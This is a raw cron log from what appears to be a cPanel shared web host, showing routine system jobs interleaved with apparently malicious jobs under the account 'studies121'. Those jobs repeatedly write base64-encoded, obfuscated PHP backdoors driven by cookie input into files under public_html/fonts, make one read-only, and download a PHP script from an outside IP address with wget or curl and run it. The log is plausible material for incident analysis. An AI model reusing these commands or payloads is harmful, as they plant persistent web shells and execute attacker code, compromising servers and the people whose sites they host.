Sep  2 04:33:01 ip-184-168-122-23 CROND[11731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:34:01 ip-184-168-122-23 CROND[11833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:34:01 ip-184-168-122-23 CROND[11836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:34:01 ip-184-168-122-23 CROND[11839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:34:01 ip-184-168-122-23 CROND[11840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:34:01 ip-184-168-122-23 CROND[11841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:35:01 ip-184-168-122-23 CROND[11970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:35:01 ip-184-168-122-23 CROND[11972]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 04:35:01 ip-184-168-122-23 CROND[11973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:35:01 ip-184-168-122-23 CROND[11975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:35:01 ip-184-168-122-23 CROND[11974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:35:01 ip-184-168-122-23 CROND[11977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:35:01 ip-184-168-122-23 CROND[11976]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 04:35:01 ip-184-168-122-23 CROND[11979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:36:01 ip-184-168-122-23 CROND[12110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:36:01 ip-184-168-122-23 CROND[12112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:36:01 ip-184-168-122-23 CROND[12113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:36:01 ip-184-168-122-23 CROND[12116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:36:01 ip-184-168-122-23 CROND[12118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:37:01 ip-184-168-122-23 CROND[12221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:37:01 ip-184-168-122-23 CROND[12222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:37:01 ip-184-168-122-23 CROND[12223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:37:01 ip-184-168-122-23 CROND[12224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:38:01 ip-184-168-122-23 CROND[12355]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  2 04:38:01 ip-184-168-122-23 CROND[12357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:38:01 ip-184-168-122-23 CROND[12361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:38:01 ip-184-168-122-23 CROND[12358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:38:01 ip-184-168-122-23 CROND[12359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:38:01 ip-184-168-122-23 CROND[12360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:39:01 ip-184-168-122-23 CROND[12530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:39:01 ip-184-168-122-23 CROND[12531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:39:01 ip-184-168-122-23 CROND[12532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:39:01 ip-184-168-122-23 CROND[12533]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 04:39:01 ip-184-168-122-23 CROND[12534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:40:01 ip-184-168-122-23 CROND[12662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:40:01 ip-184-168-122-23 CROND[12665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:40:01 ip-184-168-122-23 CROND[12668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:40:01 ip-184-168-122-23 CROND[12666]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:40:01 ip-184-168-122-23 CROND[12667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:40:01 ip-184-168-122-23 CROND[12670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:40:01 ip-184-168-122-23 CROND[12675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:40:01 ip-184-168-122-23 CROND[12676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:41:01 ip-184-168-122-23 CROND[12796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:41:01 ip-184-168-122-23 CROND[12795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:41:01 ip-184-168-122-23 CROND[12797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:41:01 ip-184-168-122-23 CROND[12798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:42:01 ip-184-168-122-23 CROND[12929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:42:01 ip-184-168-122-23 CROND[12932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:42:01 ip-184-168-122-23 CROND[12933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:42:01 ip-184-168-122-23 CROND[12931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:42:01 ip-184-168-122-23 CROND[12934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:43:01 ip-184-168-122-23 CROND[13154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:43:01 ip-184-168-122-23 CROND[13157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:43:01 ip-184-168-122-23 CROND[13156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:43:01 ip-184-168-122-23 CROND[13158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:44:01 ip-184-168-122-23 CROND[13269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:44:01 ip-184-168-122-23 CROND[13273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:44:01 ip-184-168-122-23 CROND[13271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:44:01 ip-184-168-122-23 CROND[13272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:44:01 ip-184-168-122-23 CROND[13274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:45:01 ip-184-168-122-23 CROND[13394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:45:01 ip-184-168-122-23 CROND[13398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:45:01 ip-184-168-122-23 CROND[13397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:45:01 ip-184-168-122-23 CROND[13396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
